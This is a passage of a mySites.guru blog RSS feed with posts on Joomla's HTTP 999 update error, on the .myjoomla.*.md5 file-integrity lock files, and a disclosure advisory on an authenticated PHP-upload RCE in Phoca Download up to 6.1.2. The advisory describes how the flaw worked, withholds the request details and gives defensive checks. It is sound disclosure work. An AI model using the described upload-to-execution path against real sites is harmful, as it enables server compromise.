&lt;p&gt;Second, and more practically, it would not fix anything. Even if mySites.guru swallowed the 999, Joomla&apos;s own update client on your site still rejects it, so you would keep hitting the same wall in Joomla&apos;s Update Manager and Pre-Update Check. The error is not in the validator. It is an abandoned update site, and that is where it has to be fixed. Do that once and it is fixed everywhere: in Joomla, in mySites.guru, and in any other tool that reads your update sites.&lt;/p&gt;
&lt;p&gt;If you want to push the extension author to fix it, the argument is simple. Their update site redirects to LinkedIn, LinkedIn returns a code that is not in the HTTP specification, so any client that respects the spec breaks. That is on the update site, not on Joomla.&lt;/p&gt;
&lt;h2&gt;Managing update sites across a portfolio of Joomla sites&lt;/h2&gt;
&lt;p&gt;Here is the pattern we see across large Joomla portfolios: one popular extension installed on every site, one dead update URL, and suddenly the update dashboard is red almost everywhere at once. A Dutch agency we work with hit exactly this, the same abandoned extension flagging the 999 across nearly their entire client list when they sorted their updates by site.&lt;/p&gt;
&lt;p&gt;At that scale, fixing it by hand on each site is the wrong tool. mySites.guru reads the update-site URLs from every connected site, so you can find the offender once and clear it everywhere, and the &quot;re-enable disabled update sites&quot; toggle keeps it gone. If you would rather we just sorted it, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;send us the details and we will look for free&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;The 999 error vs the &quot;offered update has expired&quot; error&lt;/h2&gt;
&lt;p&gt;These two look similar and are completely different. The 999 error is a dead third-party update site on your own site. The &lt;a href=&quot;https://mysites.guru/blog/joomla-update-not-possible-offered-update-has-expired/&quot;&gt;&quot;offered update has expired&quot; error&lt;/a&gt; is a problem at Joomla&apos;s end, where the signed update metadata that Joomla.org serves has gone stale. One you fix on your site, the other you wait out or work around. If your update is failing, check which message you actually got before you change anything.&lt;/p&gt;
&lt;p&gt;One naming clash is worth clearing up too. This 999 has nothing to do with the &lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;Joomla 3.10.999 project&lt;/a&gt;, which is Phil&apos;s community security-patch repository for end-of-life Joomla 3. Same three digits, unrelated problem.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc9110&quot;&gt;RFC 9110, HTTP Semantics (Section 15)&lt;/a&gt; - the standard that defines valid HTTP status codes as three-digit integers from 100 to 599.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://http.dev/999&quot;&gt;http.dev: the 999 status code&lt;/a&gt; - why 999 is non-standard, unregistered with IANA, and used by LinkedIn to block non-browser traffic.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status&quot;&gt;MDN: HTTP response status codes&lt;/a&gt; - the five valid status-code classes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Help4.x:Extensions:_Update_Sites&quot;&gt;Joomla Documentation: Update Sites&lt;/a&gt; - how Joomla stores, rebuilds, and manages extension update sites.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://uptimerobot.com/blog/999-status-code/&quot;&gt;UptimeRobot: a deep dive into the HTTP 999 status code&lt;/a&gt; - an accessible explainer of 999 as a bot-block response.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you are not already using mySites.guru to watch your Joomla and WordPress sites, &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;create an account&lt;/a&gt; and let it surface broken update sites, failed updates, and security issues across everything you manage.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>updates</category><category>extensions</category><category>troubleshooting</category><enclosure url="https://mysites.guru/_astro/invalid-status-code-999-joomla-update-error.BSXynF2F.png" length="0" type="image/png"/></item><item><title>What Are the .myjoomla.configuration.php.md5 Files?</title><link>https://mysites.guru/blog/myjoomla-configuration-php-md5-files/</link><guid isPermaLink="true">https://mysites.guru/blog/myjoomla-configuration-php-md5-files/</guid><description>Found .myjoomla.configuration.php.md5 files in your Joomla webspace? They are not malware. They are mySites.guru file-integrity lock files. Here&apos;s what they do.</description><pubDate>Fri, 10 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you have found a file called &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt; sitting in your Joomla webspace, right next to &lt;code&gt;configuration.php&lt;/code&gt;, and wondered whether you have been hacked, here is the short version: no, you have not, and the file is safe. It was created by mySites.guru, not by an attacker.&lt;/p&gt;
&lt;p&gt;It is a file-integrity lock file. It holds a single 32-character MD5 fingerprint of your &lt;code&gt;configuration.php&lt;/code&gt;, and the mySites.guru connector on your site uses it to notice the moment that file is changed. There is nothing else inside it, and it does nothing to your site on its own.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;A file name starting with a dot is hidden by most FTP clients, cPanel file managers, and the plain &lt;code&gt;ls&lt;/code&gt; command. That is why these files seem to appear out of nowhere. The dot does not make a file dangerous, and it does not make it safe either. It just hides it from casual browsing.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What Is the .myjoomla.configuration.php.md5 File?&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt; file is a tamper-detection sidecar. When you monitor &lt;code&gt;configuration.php&lt;/code&gt; with mySites.guru, the connector calculates the MD5 hash of that file and writes it, as one line of 32 hexadecimal characters, into a companion file in the same folder. For &lt;code&gt;configuration.php&lt;/code&gt; in your site root, that companion is &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The content is deliberately boring. Open one and you will see a single line like this and nothing more:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;d41d8cd98f00b204e9800998ecf8427e
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You get one lock file per watched file, named &lt;code&gt;.myjoomla.&amp;lt;filename&amp;gt;.md5&lt;/code&gt;, and it always sits in the same directory as the file it tracks. So if you monitor &lt;code&gt;/includes/defines.php&lt;/code&gt;, the lock file lives at &lt;code&gt;/includes/.myjoomla.defines.php.md5&lt;/code&gt;. Out of the box mySites.guru watches the files hackers tend to target on a Joomla site: &lt;code&gt;configuration.php&lt;/code&gt;, &lt;code&gt;index.php&lt;/code&gt;, &lt;code&gt;includes/defines.php&lt;/code&gt;, &lt;code&gt;includes/framework.php&lt;/code&gt;, a core layout helper, and &lt;code&gt;.htaccess&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That means &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt; is usually not the only one you will find. A default setup also leaves &lt;code&gt;.myjoomla.index.php.md5&lt;/code&gt; next to your &lt;code&gt;index.php&lt;/code&gt;, and a sidecar for each of the other watched files. You can change the watch list in your dashboard, and if you add or remove files, the set of &lt;code&gt;.myjoomla.*.md5&lt;/code&gt; files on disk changes to match whatever you chose.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;em&gt;The Alert tab in mySites.guru, where you pick which files are monitored. This is a WordPress site, so the list shows &lt;code&gt;wp-config.php&lt;/code&gt;; on Joomla the same screen watches &lt;code&gt;configuration.php&lt;/code&gt; and writes the &lt;code&gt;.myjoomla.*.md5&lt;/code&gt; sidecars instead.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;The .myjoomla Prefix Is a Legacy Name&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;.myjoomla&lt;/code&gt; part looks out of place on a modern install, and there is a simple reason for it. The connector has written that prefix for years, since long before the service was rebranded to mySites.guru. Renaming it now would orphan the existing lock files on every connected site at once and briefly re-trigger a modified-file alert on all of them, so the prefix stays exactly as it is.&lt;/p&gt;
&lt;p&gt;On WordPress the same connector does the same job with a different prefix. There you will find &lt;code&gt;.mywpguru.wp-config.php.md5&lt;/code&gt; rather than a &lt;code&gt;.myjoomla.&lt;/code&gt; file, again for historical reasons. The names differ, the mechanism is identical, and both are the same mySites.guru file-monitoring feature under the hood.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Uses the File to Detect Tampering&lt;/h2&gt;
&lt;p&gt;Every time a page on your site is rendered, front-end or administrator, the connector recalculates the MD5 hash of each watched file and compares it to the value stored in the matching &lt;code&gt;.md5&lt;/code&gt; lock file. Two things can happen:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The hashes match.&lt;/strong&gt; The file has not changed. Nothing happens, and the check costs microseconds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The hashes differ.&lt;/strong&gt; The file has changed since the last check. The connector logs the event, sends an alert to mySites.guru (which emails you and any team members who have alerts enabled for that site), then rewrites the lock file with the new hash so you are not alerted again for the same change.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because the check is driven by page loads, it is near real-time rather than continuous. If an admin edits &lt;code&gt;configuration.php&lt;/code&gt; through the Joomla back-end, the same request that saves the change is the request that catches it. The only lag is when a file is altered over FTP or SSH on a site nobody is visiting, in which case the comparison runs on the next page load. The full feature, including how to choose which files to watch and how to whitelist your own IP so your own edits do not raise a flag, is covered in our writeup on &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerts for file changes and logins&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Isn&apos;t MD5 Broken? Why That Doesn&apos;t Matter Here&lt;/h2&gt;
&lt;p&gt;You may know that MD5 is cryptographically broken, and you would be right, but it does not weaken this particular use of it. MD5&apos;s failure is collision resistance: an attacker can craft two brand-new files that happen to share the same hash. Noticing that your existing &lt;code&gt;configuration.php&lt;/code&gt; has changed is a different problem, and MD5 is still perfectly good at it.&lt;/p&gt;
&lt;p&gt;To beat this monitor, an attacker would need a second-preimage attack: take your specific &lt;code&gt;configuration.php&lt;/code&gt; and produce a different, malicious file with the identical MD5 hash. That is a far harder problem than a collision, and it remains computationally infeasible. Every headline MD5 break, the 2004 collisions, the 2008 chosen-prefix work, the Flame malware in 2012, involved the attacker controlling both files. Here mySites.guru controls the baseline. It hashes your real file and holds the fingerprint out of an attacker&apos;s reach, so any ordinary edit, accidental corruption, or run-of-the-mill malware injection shifts the hash and trips the alert.&lt;/p&gt;
&lt;p&gt;There is a second reason MD5 earns its place here, and it is the one that actually drove the choice: speed. MD5 is one of the fastest hashes in common use, and this check runs on every single page load, so the cost of hashing has to stay close to zero. That shaped two deliberate decisions, keep the hashing algorithm cheap and keep the real-time watch list short. Swapping to SHA-256 would make each lock file larger and every page load do more work, for no real gain against this threat model. For change detection on a file you already control, on every request, MD5 is the right tool, not a compromise.&lt;/p&gt;
&lt;h2&gt;Why configuration.php Is the File Worth Watching&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;configuration.php&lt;/code&gt; is the single most attractive file on a Joomla site. It holds your database username and password, the site &lt;code&gt;$secret&lt;/code&gt; key, FTP credentials if you use them, SMTP mailer credentials, and your log and tmp paths. An attacker who can quietly edit it can repoint your database connection, disable error reporting to hide their tracks, or move your tmp path to a directory they control and drop code there.&lt;/p&gt;
&lt;p&gt;Getting an alert the instant that file changes means you find out before the attacker has time to do anything else with the access. WordPress has the same weak point in &lt;code&gt;wp-config.php&lt;/code&gt;, which is why the connector monitors it there and writes &lt;code&gt;.mywpguru.wp-config.php.md5&lt;/code&gt; alongside it. If a monitored config file does change unexpectedly, our guides on a &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;hacked Joomla site&lt;/a&gt; and finding &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacked files and backdoors&lt;/a&gt; walk through what to check next without destroying the evidence.&lt;/p&gt;
&lt;h2&gt;Is It Safe to Delete These .md5 Files?&lt;/h2&gt;
&lt;p&gt;Yes. Deleting a &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt; file will not break your site. On the next page load the connector sees that the lock is gone, recalculates the hash, and writes it back as a fresh baseline. No alert fires for the missing lock file, because a missing baseline is treated as first-time monitoring rather than a change.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;There is one catch. If the watched file had already been tampered with, deleting its lock file makes the connector adopt the tampered version as the new known-good baseline, and you lose the chance to be alerted about that specific change. So do not delete these files as a routine cleanup step. To stop monitoring a file properly, remove it from the watch list in your mySites.guru dashboard instead of deleting the lock on disk.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What File-Integrity Checks Won&apos;t Catch&lt;/h2&gt;
&lt;p&gt;Hash-based monitoring on a watch list is fast and has effectively zero false positives, but it is one layer, not the whole defence. It is worth knowing its limits.&lt;/p&gt;
&lt;p&gt;It only covers the files you are watching. A backdoor dropped into a random uploads folder three directories deep is not on the watch list, so a &lt;code&gt;.md5&lt;/code&gt; lock will never see it. That is what a full security audit, the &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden-files check&lt;/a&gt;, and the suspect-content scanner are for, and why those run across your entire webspace rather than a short list. It also cannot see payloads that live in the database rather than on disk. We watched exactly that play out with the &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;Helix3 defacement wave, where the injected code lived in the database, not the files&lt;/a&gt;, so a clean file hash told you nothing. Treat the &lt;code&gt;.md5&lt;/code&gt; lock files as instant change detection on your highest-value files, and pair them with full-site scanning for everything else.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/File_integrity_monitoring&quot;&gt;File integrity monitoring (Wikipedia)&lt;/a&gt; - the general technique of baselining a file&apos;s hash and alerting on change, and where it fits in standards like PCI-DSS and NIST.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/MD5&quot;&gt;MD5 (Wikipedia)&lt;/a&gt; - the collision history behind the &quot;MD5 is broken&quot; claim, and why it applies to forging files rather than detecting changes to one you control.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsfirewall-user-guide/troubleshooting/file-and-folder-access-check-checking-the-integrity-of-your-configurationphp-file.html&quot;&gt;Checking the integrity of your configuration.php file (RSJoomla)&lt;/a&gt; - a vendor writeup on why &lt;code&gt;configuration.php&lt;/code&gt; is the most targeted file on a Joomla site.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/apis/wp-config-php/&quot;&gt;Securing wp-config.php (WordPress developer handbook)&lt;/a&gt; - what lives in the WordPress equivalent and how to lock it down.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Want this running on every Joomla and WordPress site you look after, without logging into each server to check? &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; on one site and see the file monitoring in action.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>file integrity</category><category>monitoring</category><category>hacked</category><category>joomla</category><enclosure url="https://mysites.guru/_astro/myjoomla-configuration-php-md5-files.upVADolK.png" length="0" type="image/png"/></item><item><title>Phoca Download 6.1.3 Fixes an Authenticated Upload RCE</title><link>https://mysites.guru/blog/phoca-download-authenticated-file-upload-rce/</link><guid isPermaLink="true">https://mysites.guru/blog/phoca-download-authenticated-file-upload-rce/</guid><description>Phoca Download for Joomla (com_phocadownload) up to 6.1.2 let a logged-in member upload a PHP file and run code on the server. Fixed in 6.1.3, update now.</description><pubDate>Fri, 10 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Phoca Download is a long-established download-manager component for Joomla, installed as &lt;code&gt;com_phocadownload&lt;/code&gt; and used to store, organise and serve files on business, membership and community sites. Up to and including version 6.1.2, its frontend member-upload feature had a flaw: the file-type allow-list that the extension enforces on its other upload paths was skipped for member uploads. A logged-in user could upload a file type that should have been rejected, such as a &lt;code&gt;.php&lt;/code&gt; script, into the public user-upload folder and then run it. That is authenticated remote code execution.&lt;/p&gt;
&lt;p&gt;Phoca fixed it in version 6.1.3, released on 10 July 2026. If you run Joomla sites with Phoca Download on them, update every one to 6.1.3 or later. This post explains what the flaw was, how it surfaced, what the fix does, and how to check whether any of your sites were touched, without publishing anything an attacker could copy.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Authenticated and feature-gated, but still update promptly&lt;/p&gt;
  &lt;p&gt;The Joomla CNA scored this Critical (CVSS 4.0 9.0), because it ends in code execution. Unlike the recent no-login Joomla upload flaws, though, it needs a registered account and needs the Phoca Download user-upload feature switched on, so far fewer sites are reachable in practice. If your Phoca Download sites let members upload files, treat it as a priority: update to 6.1.3, then check the user-upload folder and your admin accounts. If member uploads are off (the default), you are not exposed to this path, but you should still update.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: The frontend member-upload feature in Phoca Download (&lt;code&gt;com_phocadownload&lt;/code&gt;) up to and including 6.1.2 (fixed in 6.1.3) skipped the file-type allow-list that the extension enforces on its other upload paths. Because of an internal upload-mode mismatch, the admin-configured list of permitted types was never consulted for member uploads, so a logged-in user could write a &lt;code&gt;.php&lt;/code&gt; file into the public user-upload folder and execute it, which is authenticated remote code execution (CWE-434). It needs a registered account and needs the non-default user-upload feature enabled with a category granting upload rights, which is why the Joomla CNA scored it 9.0 (Critical) on CVSS 4.0 rather than the maximum 10.0 the recent unauthenticated flaws hit. We found it during a source-code audit, reproduced the full chain on a local Joomla install, and disclosed it privately to Phoca, who fixed it the same day in 6.1.3. It is now tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57828&quot;&gt;CVE-2026-57828&lt;/a&gt;, assigned via the Joomla project&apos;s CNA and crediting Phil Taylor of mySites.guru. No proof of concept has been made public. Update every Phoca Download install to 6.1.3, then check any site that had member uploads enabled. If you look after more than a handful of Joomla sites, mySites.guru lists every Phoca Download install in your account in seconds and pushes the update.&lt;/p&gt;
&lt;h2&gt;What Was Actually Wrong in Phoca Download?&lt;/h2&gt;
&lt;p&gt;Phoca Download lets a site optionally accept files from logged-in members through the frontend, so a community or membership site can let its users submit downloads. That feature is off by default. When it is switched on, uploads should be checked against the same allow-list of permitted file types that the extension uses on its other upload paths, the list an administrator configures to allow documents, archives and images but not executable code.&lt;/p&gt;
&lt;p&gt;The problem was that the member-upload path used a different internal upload mode from the one the allow-list check was written for. The check only applied to one mode, and the member-upload page ran under another, so the configured allow-list was never consulted. On a default configuration the practical result was that the file-type restriction that should have blocked a &lt;code&gt;.php&lt;/code&gt; upload simply did not run for member uploads.&lt;/p&gt;
&lt;p&gt;From there the rest of the chain is short. The file lands in Phoca Download&apos;s user-upload folder, which sits inside the web root and serves and executes PHP. A logged-in member could upload a file the extension was supposed to reject, then request it in a browser, and the server would run it. That is code execution on your server, chosen by whoever uploaded the file.&lt;/p&gt;
&lt;p&gt;We are deliberately not publishing the exact request an attacker would send, the task names, or the parameters involved. The shape of the bug is enough to understand the risk and to check your own sites. The working details stay private until sites have had time to update.&lt;/p&gt;
&lt;h2&gt;How This One Was Found&lt;/h2&gt;
&lt;p&gt;This did not start with a hacked site or an abuse report. It started with reading the code.&lt;/p&gt;
&lt;p&gt;Part of what we do is audit the Joomla extensions that turn up most often across the sites we manage, on a local test install where we can prove a flaw safely and put the box back exactly as it was. Phoca Download came up in that rotation. Reading through the member-upload path, the allow-list check was guarding one upload mode while the member-upload page ran under a different one, so the check never fired where it mattered most.&lt;/p&gt;
&lt;p&gt;We reproduced the whole chain end to end on a local Joomla install: a registered member, with the user-upload feature enabled, uploaded a file that the allow-list should have refused, and requesting that file back ran it. Then it was a private email to Phoca. Jan Pavelka, the author, responded and shipped the fix in Phoca Download 6.1.3 the same day, which is exactly the response you want. The flaw is now tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57828&quot;&gt;CVE-2026-57828&lt;/a&gt;, assigned through the Joomla project&apos;s CNA and crediting Phil Taylor of mySites.guru as the reporter.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This is what responsible disclosure looks like&lt;/p&gt;
  &lt;p&gt;Found in a code audit, confirmed live on a local install, reported privately, and fixed by the author the same day. No exploit has been published, and none will be until sites have had a chance to update. The reason to write about it is to get sites patched, not to show anyone how it worked.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Critical on Paper, Gated in Practice&lt;/h2&gt;
&lt;p&gt;It is worth being precise about severity, because it is easy to lump every &quot;file upload to RCE&quot; bug into the same panic. The Joomla CNA scored this Critical, and rightly so on paper: it ends in code execution, which compromises the whole server. But it is not the internet-wide emergency the recent unauthenticated Joomla flaws were, because getting to that code execution is gated behind preconditions those flaws did not have.&lt;/p&gt;
&lt;p&gt;Three things have to be true before this is exploitable, and none of them is the default:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The site must have the Phoca Download user-upload feature switched on. This means an administrator has added a User Upload menu item, set &quot;Enable User Upload&quot; to Yes, and is deliberately letting members submit files. Out of the box, all of this is off.&lt;/li&gt;
&lt;li&gt;A Phoca Download category must grant upload rights to registered users.&lt;/li&gt;
&lt;li&gt;The attacker must have a registered account on the site that those upload rights apply to.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Compare that with the &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles unauthenticated upload RCE&lt;/a&gt;, the &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK flaw&lt;/a&gt;, or the &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms flaw&lt;/a&gt;, all of which needed no account at all and were reachable by anyone on the internet in a single request. Those scored the maximum 10.0. This one is scored 9.0 (Critical) on CVSS 4.0, a notch lower, because the login and non-default feature it needs are reflected in the vector (&lt;code&gt;AT:P&lt;/code&gt;, &lt;code&gt;PR:L&lt;/code&gt;). The practical difference is exposure: the unauthenticated flaws are reachable by anyone on the internet, while this one needs a registered account and a feature most sites never switch on. Where the preconditions are met, though, the outcome is identical: a member gets to run code on your server, so it still needs patching.&lt;/p&gt;
&lt;h2&gt;What the Phoca Download 6.1.3 Fix Does&lt;/h2&gt;
&lt;p&gt;Version 6.1.3 applies the file-type allow-list to member uploads, the same way it always applied it elsewhere. The member-upload path now runs the check that decides whether a given file type is permitted, so an upload of a type the administrator has not allowed, such as a &lt;code&gt;.php&lt;/code&gt; script, is refused before anything is written to disk. The only way to skip the allow-list now is for an administrator to deliberately choose an &quot;allow all file types&quot; setting, which is an explicit choice to disable a safety net rather than a silent default.&lt;/p&gt;
&lt;p&gt;The practical takeaway is simple: 6.1.3 closes the gap that let a member upload a file type the site was supposed to reject. Every Phoca Download install on 6.1.2 or earlier, with member uploads enabled, is on the wrong side of that gap until it is updated.&lt;/p&gt;
&lt;h2&gt;How Do I Get Phoca Download 6.1.3 Right Now?&lt;/h2&gt;
&lt;p&gt;The fix is Phoca Download 6.1.3. A brand-new release takes a short while to propagate everywhere, so at the time of writing you may see the earlier 6.1.2 in a couple of places while 6.1.3 catches up:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Phoca published 6.1.3 on its &lt;a href=&quot;https://github.com/PhocaCz/PhocaDownload/releases&quot;&gt;official GitHub releases&lt;/a&gt; on 10 July 2026. That is the authoritative source for the patched package right now.&lt;/li&gt;
&lt;li&gt;The phoca.cz download portal and the in-Joomla update channel may still be offering 6.1.2 for a short period as the new release rolls out.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So the one thing to check is the version number. Whether you update from the Joomla updater, the phoca.cz portal, or GitHub, confirm you are actually installing 6.1.3 or later and not 6.1.2. If your usual update route still shows 6.1.2, either grab 6.1.3 from Phoca&apos;s GitHub releases or give it a little time and re-check. Phoca is expected to publish its own release notes alongside the update.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Catches This Without a Signature&lt;/h2&gt;
&lt;p&gt;If you already run sites through mySites.guru, this is the part worth knowing. We did not need a Phoca-specific rule to catch this class of activity. mySites.guru watches for the behaviour, an unexpected executable file being written into a public folder, rather than a fingerprint of one particular extension&apos;s bug.&lt;/p&gt;
&lt;p&gt;That generic detection is the same logic that catches &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder&lt;/a&gt; upload attempts. An executable file dropped through an upload looks the same regardless of which extension left the door open, so we can catch new bugs of this shape before anyone has written a rule naming them. This is the same lesson as the &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX and frontend endpoints blind spot&lt;/a&gt;: an endpoint that accepts input from users has to treat every input as hostile.&lt;/p&gt;
&lt;p&gt;If a hostile file does land, the &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;suspect content tool and hacked-file detection&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;backdoor scanning&lt;/a&gt; find it across every connected site, matching it against known malware hashes and thousands of code patterns. Anything flagged can be sent for &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; that explains in plain English what the file does.&lt;/p&gt;
&lt;h2&gt;How Do I Find Every Phoca Download Site I Manage?&lt;/h2&gt;
&lt;p&gt;The first question after any extension security release is the awkward one: which of my sites actually run this? Up to about ten sites, you can log in to each Joomla admin and check the installed extensions list. Past that, you need a single view.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for Phoca Download once and get back every connected site running it, the version each one is on, and whether an update is available. It is the same workflow as &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;finding every site running a vulnerable JCE&lt;/a&gt;: search once, see everything, no logging into forty admin panels one at a time.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every Phoca Download install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for Phoca Download across every connected Joomla site and filter for anything on 6.1.2 or earlier to find the installs that still need updating. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Once you know which sites need it, the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; handles the rollout. Tick the sites on an old version and push the update to all of them from one screen. You can also switch on &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates for any Joomla extension&lt;/a&gt; so future Phoca Download releases land without you lifting a finger.&lt;/p&gt;
&lt;h2&gt;How Do I Check a Phoca Download Site for Tampering?&lt;/h2&gt;
&lt;p&gt;Updating closes the gap. It does not tell you whether anyone walked through it first. Because the flaw allowed a member to drop a file and run it, a site that had member uploads enabled and was on 6.1.2 or earlier could already have been touched, so check before you assume it is clean.&lt;/p&gt;
&lt;p&gt;Three checks, in order of value:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Look in the Phoca Download user-upload folder. Anything there that is not a genuine member upload, and above all anything ending in &lt;code&gt;.php&lt;/code&gt;, is a red flag. On a single site you can run &lt;code&gt;find&lt;/code&gt; over that folder for &lt;code&gt;.php&lt;/code&gt; files via SSH.&lt;/li&gt;
&lt;li&gt;Check for rogue administrator accounts. Code execution is a fast route to a hidden Super User. In your Joomla Users list, sort by registration date and treat any administrator account you do not recognise as suspect.&lt;/li&gt;
&lt;li&gt;Hunt for modified and unfamiliar files. A foothold is a perfect moment to plant persistence elsewhere. Look for recently changed PHP files and for executable files sitting where uploads should not contain code.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;mySites.guru runs all three of these across every connected site at once. The suspect content tool and hacked-file detection surface the stray PHP files, the extension and user inventory sorts every account across every site by registration date, and &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerting&lt;/a&gt; tells you the moment a new file appears or an unfamiliar admin logs in, rather than at the next manual check.&lt;/p&gt;
&lt;p&gt;If any of that turns something up, the &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked recovery guide&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;how to fix a hacked site&lt;/a&gt; walkthrough cover the cleanup, and &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is the done-for-you option if you would rather hand it over.&lt;/p&gt;
